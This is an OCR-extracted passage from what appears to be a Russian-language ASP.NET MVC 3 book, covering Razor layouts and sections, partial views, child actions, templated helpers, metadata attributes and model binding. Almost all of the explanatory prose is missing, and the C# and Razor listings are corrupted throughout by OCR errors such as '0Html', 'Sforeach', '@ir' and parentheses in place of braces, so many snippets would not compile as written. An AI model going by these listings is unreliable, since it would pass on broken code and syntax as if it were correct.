@Html.ActionLink(str, str)
</div>

}
<div style="clear:both" />
)

gsection Body {
<h4>This is the body section</h4>
)
section Footer {
<h4>This is the footer</h4>
)

,
RenderBody. ,
RenderBody RenderSection("Body"),
15.29.
15.29. R e n d e r S e c t i o n (B o d y ")

<body>

@RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
@RenderSection("Body")
<h4>This is the layout between the body and the footer</h4>
@RenderSection("Footer")
</body>


,
. , ,
. 15.30 .

15.

453

15.30. ,
@if (IsSectionDefinedC'Footer")) {
@RenderSection("Footer")
} else (
<h4>This is the default footer</h4>
}

IsSectionDefined
true, .

,
Footer.



, 15.31.

15.31.
<body>
RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
RenderSection("Body")
<h4>This is the layout between the body and the footer</h4>
RenderSection("Footer", false)
</body>

RenderSection , ,
. false,
, Footer,
, .


Razor
.
(partial view). , ,
.
,
, ,
.

454

. ASP.NET 3


,
/Views, Addw-View (^)
, Create as Partial View (
) , . 15.9.

. 15.9.
.

. H t m l .Partial,
15.32.

15.32. P a r t i a l
@(

ViewBag.Title = "Partial Views";


}
<p>This is the method rendered by the action method</p>
0Html.Partial("MyPartial")
<p>This is the method rendered by the action method again</p>
, Partial,
. M V C Framework
,
(. 15.10).

15.

455

. Razor ,
( - / V ie w s /<> ~ /V iew s/S h a red ). ,
,
, S h a re d .
,
,
.

. 15.10.



.
, C re a te
a strongly-typed view ( )
. . 15.11 Add View (
) M y S t r o n g l y T y p e d P a r t i a l ,
I E n u m e r a b l e < s t r i n g > .

. 15 .11.

456

II. ASP.NET MVC 3


. 15.33 .
.
15.33.
@model IEnumerable<string>
<p>This is my strongly-typed partial view</p>
<ul>
Sforeach (string val in Model) {
<li>0val</li>
}
</ul>

foreach
.


.
,

H tm l.P a r tia l, 15.34.
15.34.
0{
View B a g .Title = "Partial Views";

}
<p>This is the method rendered by the action method</p>
g H t m l .Partial ( " M y S t r o n g l y T y p e d P a r t i a l " , n e w

[]

{"Apples",

"Mangoes",

"Oranges"})

<p>This is the method rendered by the action method again</p>

(
. ),
.
.
15.35 (, ,
15.34) . 15.12.

. 15 .1 2 .

15.

457


, .
,
. ,
.
,
( ),
, .
SportsStore
, , ,
.
.


.
, 15.35.

15.35.
[ChildActionOnly]
public ActionResult T i m e O {
return PartialView(DateTime.Now);

)
C h ild A ctio n O n ly ,
7''"? 15'5^1'','''
, ,
,
.
, ,
. , ,
, . 15.36
Tim e.cshtm l, .
15.36.
@ m odel D a te T im e

<p>The time is: @Model.ToShortTimeString()</p>


-tmi.
A ction . , View Result
, . 15.37
Razor, 15.35.

15.37.
ViewBag.Title = "Child Action Demonstration";
}

458

II. ASP.NET MVC 3

<p>This is the method rendered by the a c tio n method</p>


@Html.Action("Time")

<p>This is the method rendered by the a c tio n method again</p>


. 15.13.

. 1 5 .1 3 .

A ctio n 15.38
, .
, MVC Framework ,
.
, :
@Htm l. A c t i o n ( " T i m e " , " M y C o n t r o l l e r " )


,
. , ,
;
[C h ild A ction O n ly ]

p u b l i c A c t i o n R e s u l t T i m e ( D a t e T i m e time)
return P a r t i a l V i e w ( t i m e ) ;

, :
@ H t m l . A c t i o n ( " T i m e " , n e w ( time = D a t e T i m e . N o w })

MVC
Razor. ,
,
. ,
,
.
,
, . ,
MVC .. .

16


HTML, , Html.
CheckBoxFor Html.TextBoxFor, HTML-,
. MVC Framework
,
,
, MVC Framework
HTML-.

, ,
.




. H T M L - ,
,
, M V C F ra m ew ork .

;
M V C F ra m e w o rk , , .

16.1 ,
.
16.1.
public class Person {
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public bool IsApproved { get; set; }
public Role Role { get; set; }
}
public class Address {
public string Linel ( get; set; }
public string Line2 { get; set; }
public string City ( get; set; }
public string PostalCode { get; set; }
public string Country { get; set; }
}

460

II. ASP.NET MVC 3

public enum Role {


Admin,
User,
Guest

16.2
:
Person,
.

16.2. ,

Smodel M V C A p p .M o d e l s .Person
@{

V iewBag.Title = "Index";

}
<h4>Person</h4>
<div ciass="field">
<label>Name:</label>
@Html.EditorFor(x => x.FirstName)
@Html.EditorFor(x => x.LastName)
</div>
<div class="field">
<label>Approved:</label>
0Html.EditorFor (x => x.IsApproved)
</div>

Html.EditorFor,
HTML- . . 16.1
.

. 16.1.

HTML- 16.3.

16.3. HTML-,

<div class = "fielct">
<label>Name:</label>
Cinput class="text-box single-line" id="FirstName"
name="FirstName" type="text" value="Joe" />
<input class="text-box single-line" id="LastName"
name="LastName" type="text" value="Smith" />
</div>

16.

461

<div class="field">
<label>Approved: < / la b e l>

<input checked="checked" class="check-box" id="IsApproved"


name="IsApproved" type="checkbox" value="true" />
<input narae="IsApproved" type="hidden" value="false" />
</div>

, id name,
F i r s t N a m e L a s t N a m e ,
IsApproved .
HTML-,
, ;
Html.DisplayFor. 16.4.
16.4. HTML-, ,

<div class="field">
<label>Name:</label>
@Html.DisplayFor(x => x.FirstName)
gHtml.DisplayFor(x => x.LastName)
</div>
<div class="field">
< l a b e l > A p p r o v e d :< / l a b e l >

@Html.DisplayFor(x => x.IsApproved)


</div>


HTML- , . 16.2.

. 16.2. HTML-,
, HTML-,
, . ,
MVC , ,
. . 16.1
, MVC Framework.
. 16.1 HTML-
, MVC ,
HTML- .
(scaffolding)

. (
, ,
.)
. 16.2.

462

II. ASP.NET MVC 3

16.1. HTML, MVC

Display

Html.Display ("FirstName")

,
,
,
HTML-

DisplayFor

Html. DisplayFor (x =>


x.FirstName)

Editor

Html.Editor("FirstName")


,
HTML-

EditorFor

Html.EditorFor(x =>
x.FirstName)

Label

Html.Label("FirstName")

HTML-
<label>,

LabelFor

Html.LabelFor(x =>
x.FirstName)

DisplayText

Html.
DisplayText("FirstName")

DisplayTextFor

Html.DisplayTextFor (x =>
x.FirstName)

16.2. HTML
MVC

DisplayForModel

H t m l .DisplayForModel()

,
,

EditorForModel

H t m l .EditorForModel()

LabelForModel

H t m l .LabelForModel()

HTM L-
<label>,

16.5 ,
EditorForModel.

16.

463

16.5.
HTML
@model MVC A p p .Mod e l s .Person
@f
V i e w B a g .T i t l e = " I n d e x " ;

}
<h4>Person</h4>

@Html.EditorForModel()

HTML
;
, . . 16.3
.

. 1 6 .3 .


. , ,
,
.
10111!1*
.

HTML-

HTML- class,
.

464

II. ASP.NET 3

,
@Html.EditorFor(m => m.BirthDate)

HTML-:
<input class="text-box single-line" id="BirthDate" name="BirthDate"
type="text" value="25/02/1975 00:00:00" />

, :
@Html.EditorForModel()

HTML-
. HTML-, B irth D a te,
( ):
<div class="editor-label">
<label for="BirthDate">BirthDate</label>
</div>
<div class="editor-field">
<input class="text-box single-line" id="BirthDate" name="BirthDate"
type="text" value="25/02/1975 00:00:00" />
</div>

HTML- ,
. , HTML-
IsApproved:
<div class="editor-label">
< label for="IsApproved"> IsApproved</label>
</div><div class="editor-field">
<input checked="checked" class="check-box" id="IsApproved"
name="IsApproved" type="checkbox" value="true" />
< in p u t n a m e = "Is A p p r o v e d " t y p e = " h id d e n " v a l u e = " f a l s e " />

</div>

, HTML-
. , - / C o n t e n t / S it e . c s s CSS

editor-label editor-field
.
, . 16.4.

. 16.4. c l a s s

16.

465



, HTML-,
. HTML-, . 16.4, ;
. , Personld

, .
, BirthDate
, .

; HTML- ,
. ,
, .
,

. ,
,
.
.



Person Personld .
.
, , ,
, ,
. Hiddenlnput
, 16.6.

16.6. H id d e n ln p u t
p u b lic

c la s s

P erson

[Hiddenlnput]
public int-Personld { get; set; }
public
public
public
public
public
public

string FirstName { get; set; }


string LastName { get; set; }
DateTime BirthDate { get; set; }
Address HomeAddress { get; set; }
bool IsApproved { get; set; )
Role Role ( get; set; }

, Html.EditorFor
a Html.EditorForModel , , . 16.5 (
EditorForModel).
Personld ,
. HTML-, , ;
<div class="editor-field">

1
cinput id="PersonId" name="PersonId" type="hidden" value="l" />
</div>

466

II. ASP.NET MVC 3

. 16 .5.
,

(1 ) ,
,
,
17 18.
, DisplayValue
Hiddenlnput false, 16.7.

16.7. H i d d e n l n p u t
public class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; )
public string FirstName ( get; set; }
p u b lic

s trin g

LastN am e

{ g e t;

s e t;

H t m l .EditorForModel
Person , Personld
. Personld
, . 16.6.

. 16 .6.

16.

467

HTML-
P erso n ld Html.
EditorFor, :
@Htm l.EditorFor (m => m .Personld)
, H id d e n ln p u t, ,
D isplayValue tru e, HTML-:
<input id = "P e r s o n !d " name="PersonId" type= "h idden " v a lu e = " l" />


HTML-
S caffoldC olu m n . H iddenln pu t
, ScaffoldColum n
. :
p u b lic

c la s s

P erso n

[ScaffoldColumn(false)]

p u b lic i n t tPersonId { g e t ; s e t ; }
ScaffoldColumn,
; in pu t
, , , HTML-
. HTML- ,
Hiddenlnput,
,
. ScaffoldC olum n I , E ditorFor.
E d ito rF or (m => m .Personld) , P erso n ld , ScaffoldColumn.


L a b e l, L a b e l For, L a b e lF o r M o d e l
E d ito rF orM od el la b e l
. , :
S H t m l .L a b e l F o r (m => m . B i r t h D a t e )
HTML-:
< label f o r = " B i r t h D a t e " > B i r t h D a t e < / l a b e l >
, .
DisplayName System.
ComponentModel, ; 16.8
.

1 6 .8 . D i s p l a y N a m e
p u b lic

c la s s

P erso n

[Hiddenlnput(DisplayValue=false)]
p u b l i c int P e r s o n l d { get; set; }

468

II. ASP.NET MVC 3


public string FirstName { get; set; }
public string LastName { get; set; }
[Display(Name="Date of Birth")]
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; )
public bool IsApproved { get; set; }
public Role Role { get; set; }

}
label
BirthDate, Display
Name , :
<label for="BirthDate">Date of Birth</label>

DisplayName,
. ,
,
H t m l . L a b e l F o r M o d e l . 16.9
'Person.

16.9. DisplayName
[DisplayName("Person Details")]

public class Person {


[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; )
public string FirstName { get; set; }
public string LastName { get; set; )
[Display(Name="Date of Birth")]
public DateTime BirthDate { get; set; }
public Address HomeAddress ( get; set; )
public bool IsApproved { get; set; )
public Role Role { get; set; )

DisplayName ,
.
:
SHtml.LabelForModel()

HTML-:
<label for="">Person Details</label>



: ,
, .
DataType. 16.10.

16.

469

1 6 .1 0 . D a t a T y p e
public class Person {

[Hiddenlnput(DisplayValue=false)]
public int Personld ( get; set; }
public string FirstName ( get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
[D i s p lay(Name="Date of Birth")]
public D a teTime B i r t h D a t e ( get; set;
public A d d r e s s H o m eA d d r e s s { get; set;
public bool I s A p p r oved { get; set; }
public Role Role { get; set; }

}
)

}
D a t a T y p e
DataType. DataType.Date,
BirthDate
. . 16.7.

. 16.7. DataType

. 16.3 DataType.

16.3. D a ta T y p e

D a teTime

Date

DateTime,

Time

DateTime,

Text

System.DateTime)

MultilineText

textarea

Password

Url

URL ( H TM L- )

EmailAddress

(
H I M L - href, mailto)

,
, . ,
MultilineToxt , ,
, HTML- textarea,
.
textarea ,

470

II. ASP.NET MVC 3

, .
Url
. HTML- .


,
HTML-.

. HTML-
UIHint, 16.11.

1 6 . 1 1 . U I H i n t
public class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; }
[UIHint("MultilineText")]
public string FirstName { get; set; }
pufilic string LastName { get; set; )
[D ataType(D ataType. D a te )]

[Display(Name="Date of Birth")]
public DateTime BirthDate ( get; set; )
public Address HomeAddress ( get; set; )
public bool IsApproved ( get; set; )
public Role Role { get; set; }

}
M u lt ilin e T e x t , H T M L textarea FirstName
, E d ito rF o r E d ito rF orM od el. . 16.4
M VC F ram ew ork .

16.4. MVC Framework

Boolean

( )

( )

,
disabled,
HTML,

bool. null
bool? select
True, False Not Set
Collection



IEnumerable.

Decimal

input


EmailAddress


input


HTML- ,
href mailto URL

16.

471

. 16.4

( )

H idd en ln p u t

Htm l


i n p u t


HTM L-

M u ltilin e T e x t

HTML-
t e x t a r e a ,

O bject

Password


i n p u t
,
,


i n p u t

Strin g

( )
in p u t


i n p u t


Text

Url


i n p u t

S tr in g

S trin g


HTM L- .
h r e f

! U I H i n t . ,
(,
B o o le a n s t r i n g ) , .
O b j e c t :
H T M L -
.
, .
O b j e c t U I H i n t D a t a T y p e .


.
, ,
, O R M , Entity Framework ( ,
Entity Framework SportsStore). ,
, ,
.
p a r t i a l
p a r t i a l , .
partial, Entity Framework
. 16.12 P e r s o n , ,

p a r t i a l .

472

II. ASP.NET MVC 3

1 6 .1 2 .
public p a r t i a l class Person {
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime BirthDate ( get; set; }
public Address HomeAddress ( get; set; }
public bool IsApproved { get; set; }
public Role Role { get; set; }

}
Person,
, 16.13.
,
Person,
.
. 16.11 , .
16.13.
[M eta d a ta T yp e(typ eof(P erson M eta d a ta S ou rce)) ]
public partial class Person {
)


, , p a r t ia l.
( '' ''1 11'" 5?'"1.M etadataType, *
Person .
, Person
PersonM etadataSource, 16.14.
16.14.
Class P e r s o n M e t a d a t a S o u r c e (
[Hiddenlnput(DisplayValue=false)]

p u b lic in t P erson ld { g e t ; s e t ; )
[DataType(DataType.Date)]
public DateTime BirthDate ( get; set; }
}

_____________

,
Person, , .
H iddenlnput Person ld
DataType B irthD ate.


O bject, i
. ,
HTML-, .

16.

473

,
E d itorF orM od el D isplayForM odel
. , , HomeAddress . ,
O b ject , ,
s t r in g G etC on verter
System .Com ponentM odel.TypeD escriptor. #,
in t, b o o l double, , Guid
DateTime.
- .

HTML- ,
, .
, : MVC Framework ,
, O bject ,
ORM,
. HTML-
, 16.15.

16.15.
Smodel MVCApp.Models.Person
@(

ViewBag.T i t l e = "in d e x ";


}
<h4>Person</h4>
<div class="column">

@Html. E d ito rF o rM o d el()


</div>
< d iv

c la s s = " c o lu m n " >

@Html.E ditorF oc(m => m.HomeAddress)


</div>

E d ito rF o rM o d el
, H tm l.E d ito rF o r
HTML- HomeAddress.
. 16.8.

. 1 6 .8 .

474

II. ASP.NET 3

H o m e A d d r e s s A d d r e s s ,
A d d r e s s ,
P e r s o n . O b j e c t ,
E d i t o r F o r H o m e A d d r e s s ,
.



,
,
MVC Framework, ,
.
,
.


.
HTML-, .
R o l e P e r s o n . R o l e ,
. 16.16
,
, HTML- .

16.16. , P e rs o n .R o le
Sm odel M V C A p p . M o d e ls . P e r s o n

<p>
S H tm l. L a b e lF o r (m

=> m . R o l e ) :

S H t m l. E d i t o r F o r ( m => m . R o l e )

</p>
<P>
S H t m l . L a b e l F o r (m => m . R o l e ) :

@ Htm l. D i s p l a y F o r ( m => m . R o l e )

4/p>
; ,
R o l e . . 16.9 .

. 16.9.

P e r s o n . R o l e

,
. R o l e (A d m i n ,
U s e r G u e s t ), HTML-

16.

475

. , . ,
Html.DropDownListFor,
,
, Role.
, ,
, (
15).
Editor Templates -/views/shared .
Add View (
). Role
Create a strongly-typed view ( ),
. 16.10.

. 16.10. ,

Razor .
H T M L -, H T M L -
Razor, 16.17.

16.17.
3 m o d e l R o le

select id="Role" name="Role">


Sforeach (Role value in Enum.GetValues(typeof(Role))) (
coption value="@value" @(Model == value ? "selected=\"selected\"" : "")>
Svalue
</option>

}
</select>

476

II. ASP.NET 3

HTML- s e le c t option
Role. fo re a c h ,
,
s e le c te d .
HTML-
. . 16.11

H tm l.EditorForM odel. ,
R ole.cshtm l.

. 16.11.
, ;
, R o l e .
16.18 ,
Role.

16.18. , R o le
p u b lic c la s s SimpleModel {
p u b lic s t r in g Name { g e t; s e t ;
p u b lic R ole S tatu s

{ get;

set;

}
}

. 16.12 Html.
EditorForM odel SimpleModel ,
Status R ole.cshtm l.

. 1 6 .1 2 . R o le

16.

477


R o l e . c s h t m l , .. MVC Framework
C# . ,
MVC Framework .
1. , , Html.E d i t o r F o r f m =>
m. S o meProperty, "MyTemplate") MyTemplate.
2. , , UIHint.
3. , , ,
DataType.
4. , .NET .
5. ,

String.
6. , .
7. I E n u m e r a b l e ,
Collection.

8. , Obje c t
, .
,
. 16.4. MVC Framework
E d i t o r T e m p l a t e s / < M M # > DisplayTemplates/<i>fM#>.
R ole 4 ;
Rol e .cshtml ~/Views/Shared/EditorTemplates.
,
; , ,
, ~/Views/<controller>/EditorTemplates
, ~/Views/Shared.
15.



,
DisplayTemplates.

16.19
Role; ~/Views/Shared/DisplayTemplates/Role.cshtml.

16.19.
@model Role
0foreach (Role v a l u e in E n u m . G e t V a l u e s ( t y p e o f ( R o l e ) )) {
if (value = = Model) {
< b > 0v a l u e < / b >

) else {
@value

478

II. ASP.NET MVC 3

R o l e
, .
P e r s o n . R o l e . 16.13.

. 16.13.


, . ,
, , , ,
, UIHint.
" , ,
, UIHint,
, .
16.20 Enum.cshtml -/Views/Shared/
EditorTemplates. #.

16.20.
gmodel Enum
@Html.DropDownListFor (m => m, Enum.GetValues(Model.Get T y p e ())
.Cast<Enum>()
,Select(m => {
string enumVal = E n u m .GetName(Model.GetType (), m ) ;
return new SelectListltem() {
S e l e c t e d = ( M o d e l . T o S t r i n g () == e n u m V a l) ,

Text = enumVal,
Value = enumVal

};
)))
Enum,
. HTML Razor,
HTML;
D r o p D o w n L i s t F o r
LINQ SelectListltem.
16.21 E n u m U I H i n t
Person.Role.

16 .21 . U IH in t
public partial class Person {
public
public
public
public
public

int Personld { get; set; }


string FirstName { get; set; }
string LastName { get; set; }
DateTime BirthDate { get; set; }
Address HomeAddress { get; set; )

16.

479

p u b lic b o ol IsApproved { g e t ; s e t ; }
[UIHint("Enum")]

p u b lic Role R ole { g e t ; s e t ; }


}
, ,
, . ,
,
.


,
, MVC Framework
. 16.22
Boolean, b o o l b o ol? .
. 16.4.

16.22.
@model bool?
@ir (View Data.M odelM etadata. isN u lla b leV alu eT yp e && Model == n u ll)
@:True F a lse <b>Not Set</b>
} e ls e i f (M odel.Valu e) {
@: <b>True</b> F a lse Not Set
} e ls e (
@:True <b>False</b> Not Set
i

B oolean
n u ll, ,
. .
, ;
. 16.22 ,
~/Views/Shared/DisplayTemplates.
! , n u ll ,
, n u ll. ,
16.22 bool?, bool. MVC Fram ework ,
n u ll, ,
. ,
n u ll, V iew D ata,M od elM etadata.IsN u llableV alu eType,
.

b o o l bool?
. . 16.14 .
.
.

-/V iew s/S hared/D isplayTem plates, , MVC Fram ew ork


, Boolean.
, -/View/<>/
DisplayTempates.

480

II. ASP.NET 3

. 16.14.

V ie w D a ta .T e m p la te ln f
, MVC
Framework ViewData.Templatelnfo.
Tem platelnfo. T em p la teln fo . 16.5.
16.5. T e m p la t e ln fo

Form attedModelValue

,
,
DataType.

G etF u llH tm lF ie ld ld O

,
HTML- id

GetFullHm lFieldNam eO

,
HTML- name

H tm lF ie ld P r e fix


, T e m p la t e ln fo
Form attedM odelValue,
.
16.23 D ateTim e.cshtm l,
DateTime.
16.23.
@model DateTime
@Html .TextBox (

, V i e w D a t a .T e m p l a t e l n f o .F o r m a t t e d M o d e l V a l u e )

. Html .TextBox
ViewData.Templatelnfo.FormattedModelValue.
DataType BirthDate Person,
:
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }

, FormattedModelValue,
DateTime. . 16.15.

16.

481

. 16 .1 5 . FormattedModelValue

HTML
. MVC Framework
, HtmlFieldPrefix
Templatelnfo .
, HomeAddress Person,
Address. ,
:
SHtml.EditorFor( => m.HomeAddress.PostalCode)

fltmlFieldPrefix, , HomeAddress.
PostalCode.
HTML-
id name. , HtmlFieldPrefix,
, Templatelnfo
GetFullHtmlFieldld GetFullHtmlFieldName
- .
HTML , 17.


,
.
AdditionalMetadata, 16.24.
16.24. A d d i t i o n a lM e t a d a t a

[AdditionalMetadata("RenderList", "true")]
public bool IsApproved ( get; set; )

AdditionalMetadata IsApproved;
/, ,
. R en d erL ist,
, bool
(RenderList true)
(RenderList false).
ViewData, Boolean.cshtml,
16.25.

16 . 4039

482

II. ASP.NET MVC 3

1 6 .2 5 . A d d i t i o n a l M e t a d a t a
Smodel bool?

@{
bool r e n d e rList = true;

if (ViewData.ModelMetadata.AdditionalValues.ContainsKey("RenderList")) {
renderList =
bool.Parse(ViewData.ModelMetadata.AdditionalValues["RenderList"].ToString());

}
@if (renderList)

Se l e c t L i s t list = V i e w D a t a . M o d e l M e t a d a t a .IsNul l a b l e V a l u e T y p e ?
n e w S e l e c t L i s t ( n e w [] ("True", "False", "Not Set"), Model) :
n e w S e l e c t L i s t ( n e w [] {"True", "False"}, Model);
0 H t m l .D r o p D o w n L i s t F o r (m => m, list)
) else {
0Htipl.T e x t B o x F o r (m => m)

/ V i e w D a t a .
M o d e l M e t a d a t a . A d d i t i o n a l V a l u e s ( ).

, .
,
, .


, , DataAnnotations
M o d e l M e t a d a t a P r o v i d e r ,

, .
M o d e l M e t a d a t a ,
, ,
. D a t a A n n o t a t i o n s M o d e l M e t a d a t a
ModelMetadata,
. . 16.6
ModelMetadata.

16.6. M o d e lM e ta d a ta

DataTypeName

;
D a t a T y p e

DisplayFormatString

, {0:2).

Displa y F o r m a t (
DataFormatting) ,
. , DataType.Currency,
DataType, ,

16.

483

. 16.6

DisplayName

,
;
Display DisplayName

EditFormatString

DisplayFormatString,

HideSurroundingHtml

true, H TM L- ;
true Hiddenlnput
DisplayValue, false

Model

NullDisplayText

, ,
null

ShowForDisplay

true,
(
).

ScaffoldColumn

ShowForEdit

true,
(
).
ScaffoldColumn

TemplateHint

,
.
UIHint

DataAnnotationsModelMetadataProvider
. 16.6 , .
, ( )
System.ComponentModel.DataAnnotations.


,
.
ModelMetadataProvider,
16.26.

16.26. M o d e lM e t a d a ta P r o v id e r
namespace System.Web.Mvc {
using System.Collections.Generic;
public abstract class ModelMetadataProvider {
public abstract IEnumerable<ModelMetadata> GetMetadataForProperties(
object container. Type containerType);
public abstract ModelMetadata GetMetadataForProperty(
Func<object> modelAccessor, Type containerType, string propertyName);
public abstract ModelMetadata GetMetadataForType (
Func<object> modelAccessor, Type modelType);

484

II. ASP.NET MVC 3


.
AssociatedMetadataProvider,
. 16.27
, .

16.27.
public class CustomModelMetadataProvider : AssociatedMetadataProvider{
protected override ModelMetadata CreateMetadata(
IEnumerable<Attribute> attributes,
Type containerType,

Func<object> modelAccessor,
Type modelType,
string propertyName) {
. . . ...
}
}

CreateM etadata MVC Framework


. . 16.7.
,
,
.
Person ,
Person.

16.7. CreateMetadata

a ttrib u tes

c o n ta in erT y p e

modelAccessor

Func,

modelType

propertyName

, .
16.28 ,
.

16.28.
public class CustomModelMetadataProvider : AssociatedMetadataProvider!
protected override ModelMetadata CreateMetadata(
IEnumerable<Attribute> attributes,
Type containerType,
Func<object> modelAccessor,
Type modelType,
string propertyName) {
ModelMetadata metadata = new ModelMetadata(this, containerType,
modelAccessor, modelType, propertyName);
if (propertyName != null && propertyName.EndsWith("Name")) {

16.

485

metadata.DisplayName = propertyName.Substring(0, propertyName.Length - 4) ;

return metadata;
}
}
ModelMetadata,
CreateM etadata; ModelMetadata
.
,
. 16.6. ,
Name, , FirstNam e
F ir s t, .
A p p l i c a t i o n _ S t a r t
G lobal.asax, 16.29.

16.29.
p ro te c te d v o id A p p lic a tio n _ S ta r t () (
A r e a R e g is t r a t io n .R e g is te r A llA r e a s ( ) ;
ModelMetadataProviders.Current = new CustomModelMetadataProvider();

R e g is t e r G lo b a lF ilt e r s (G lo b a lF ilt e r s . F i l t e r s ) ;
R e g is te rR o u te s (R o u te T a b le . R o u te s );
}
M o d elM e ta d a ta P ro vid e rs.C u rre n t
. MVC Framework
,
. . 16.16,
H tm l.E ditorForM odel Person.

16 . 16 .




. . 16.16
, HTML- ,
; , P e rs o n ld
, B irth D a te . ;

486

II. ASP.NET MVC 3

- . ,
Role .

,
D a t a A n n o t a t i o n s M o d e l M e t a d a t a P r o v i d e r .
A s s o c i a t e d M e t a d a t a P r o v i d e r ,
C r e a t e M e t a d a t a , 16.30.

16.30.
A s s o c ia t e d M e t a d a t a P r o v id e r
p u b lic c l a s s Custom M odelM etadataProvider : D a t a A n n o t a t i o n s M o d e l M e t a d a t a P r o v i d e r {
p r o t e c t e d o v e r r id e M odelM etadata C r e a t e M e t a d a ta (
IE n u m e r a b le < A t tr ib u te > a t t r i b u t e s ,
Type c o n t a in e r T y p e ,
F u n c< o b je ct> m o d e lA c c e s s o r,
Type m od elType,
s t r i n g propertyN am e) {
ModelMetadata metadata = base.CreateMetadata(attributes, containerType,
modelAccessor, modelType, propertyName);
i f (propertyN am e != n u l l && p ro p e rtyN a m e. E n d s W ith ( "Name")) (
m e ta d a ta . D isplayN am e = prop ertyN am e. S u b s t r i n g (0, p ro p e rtyN a m e .Le n g th - 4 ) ;

}
r e t u r n m e ta d a ta ;

C r e a t e M e t a d a t a M o d e l M e t a d a t a ,
. ,
, D a t a A n n o t a t i o n s M o d e l M e t a d a t a
P r o v i d e r
. . 16.17 Person.

. 1 6 .1 7 .

,
.
, ,
.

17


(model binding) .NET
, HTTP-.
, ,
.

, ,
. .


, , 17.1.

17.1.
using System;
using System.Web.Mvc;
using MvcApp.Models;
namespace M v c A p p .Controllers {
public class HomeController : Controller {
public ViewResult P e r s o n (int id) {
// .
Person myPerson = null; II.. . . . .
return View(myPerson);

}
}

}
H o m e C o n tro lle r, ,
, Visual Studio, .
, :
routes.MapRoute(
"Default",
//
" {controller}/{action}/{id)", // URL
new { controller = "Home", action = "Index", id = UrlParameter.Optional

})!
U R L /Home/Person/23 M V C Framework
,
.

488

II. ASP.NET MVC 3


(action invoker) , .
ControllerActionlnvoker (
15) (model binder),
IModelBinder, 17.2.

1 7 .2 . I M o d e l B i n d e r
namespace System.Web.Mvc {
public interface IModelBinder {
object BindModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext);
}

MVC ,
.
, ,
,. .
17.1 ,
int, ,
int, BindModel. ,
int. .

,
( ), MVC Framework
.

ModelBindingContext, IModelBinder.BindModel (
ControllerContext, BindModel,
12).


,
DefaultModelBinder. ^
,
.
,
, ,
. 17.1.

17.1. D e f a u l t M o d e l B i n d e r

Request.Form

, HTML- form

RouteData.Values

Request.QueryString

Request.Files

, (

)

17.

489

. ,
17.1 D e f a u l t M o d e l B i n d e r ,
id.
:
1. Request.Form["id"]
2. RouteData.Values ["id"]
3. Request.QueryString["id"]
4. Request.Files["id"]
. JSON .

JSON 19.

, .
,
id ( 2 ),
.
! , :

DefaultModelBinder ,
.


, DefaultModelBinder
, ,
System.ComponentModel.TypeDescriptor.
, ,
int, apple, DefaultModelBinder
.
, .
, null, :
public ViewResult RegisterPerson(int? id) {

id null,
.
, ,
:
public ViewResult RegisterPerson(int id = 23) {

,

D e f a u l t M o d e l B i n d e r . , URL
( ), ,
, , , .
D ateTime. , ,
, --.
, . , ,
, --,
--, - - .

490

II. ASP.NET MVC 3

, .
, , , URL,
. , ,
. ,
, MVC
.


( ,
, TypeConverter),
DefaultModelBinder
. 17.3
Person, .
.

17.3.
publ i c class Person {

[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public bool IsApproved { get; set; }
public Role Role ( get; set; }

)
,

. , ,
, . FirstName
FirstName.
, :

. . .
, HomeAddress Person Address,
17.4.

17.4.
public class Address {
public string Linel { get; set; }
public string Line2 { get; set; }
public string City { get; set; }
public string PostalCode { get; set; }
public string Country { get; set; }
}

Linel
HomeAddress.Linel ,
.

17.

491

HTML-
HTML-,
, ,
16. @Html.EditorFor ( => m.FirstName)
Person HTML-:
<input class="text-box single-line" id="FirstName"
name="FirstName" type="text" value="Joe" />
SHtml.EditorFor(m
:

=>

m.HomeAddress.Linel),

cinput class="text-box single-line" id="HomeAddress_Linel"


name="HomeAddress.Linel" type="text" value="123 North Street" />
, name HTML ,
. HTML- ,

.


,
.
, HTML-, ,
. ,
17.5.
17.5.
@using MvcApp.Models;
Smodel MvcApp.Models.Person

@{
Person myPerson = new Person () {
FirstName = "Jane", LastName = "Doe"

};
}
@using (Html.Begin F o r m ()) {
@Html.EditorFor(m => myPerson)
6Html.EditorForModel()
<input type="submit" value="Submit" />

)
EditorFor
HTML- Person,
, ViewBag. ( ),
Person.
EditorForModel, HTML-
Person.

nam e HTML.
.

492

II. ASP.NET 3

, .. myPerson. ,
H T M L -, FirstName:

<input class="text-box single-line" id="myPerson_FirstName"


name="myPerson.FirstName" t y p e = " t e x t " v a l u e = " J a n e " />
n a m e
m y P e r s o n . F i r s t N a m e .

. , ,
:

p u b l i c A c t i o n R e s u l t I n d e x ( P e r s o n firstPerson, P e r s o n myPerson) {
,
,
, .. m y P e r s o n . F i r s t N a m e , m y P e r s o n . L a s t N a m e ..

, Bind (. 17.6).
17 .6. Bin d
p u b lic

A c tio n R e su lt

R e g is t e r (Person

f irs tP e rs o n ,

[Bind(Prefix="myPerson") ] P e r s o n secondPerson)
P r e f i x myPerson. ,
m y P e r s o n
, secondPerson.


, I s A p p r o v e d P e r s o n
. H T M L -
, 16.
U R L ? I s A d m i n = t r u e ,
.
, B i n d
.
I n c l u d e , 17.7.

17.7. B in d

public Act i o n R e s u l t R e g i s t e r ( [Bind(Include="FirstName, LastName")] Person person)
{
,
FirstName LastName; Person .
,
(. 17.8).

17.8. B in d

p u b l i c A c t i o n R e s u l t R e g i s t e r ( [Bind(Exclude="IsApproved, Role")] P e r s o n person)

17.

493


Person IsApproved Role.
Bind
.
. Bind ,
17.9.

17.9. B in d
[Bind(Exclude="IsApproved")]
public class Person {
[Hiddenlnput(DisplayValue=faise)]
public int Personld { get; set; !
public string FirstName { get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
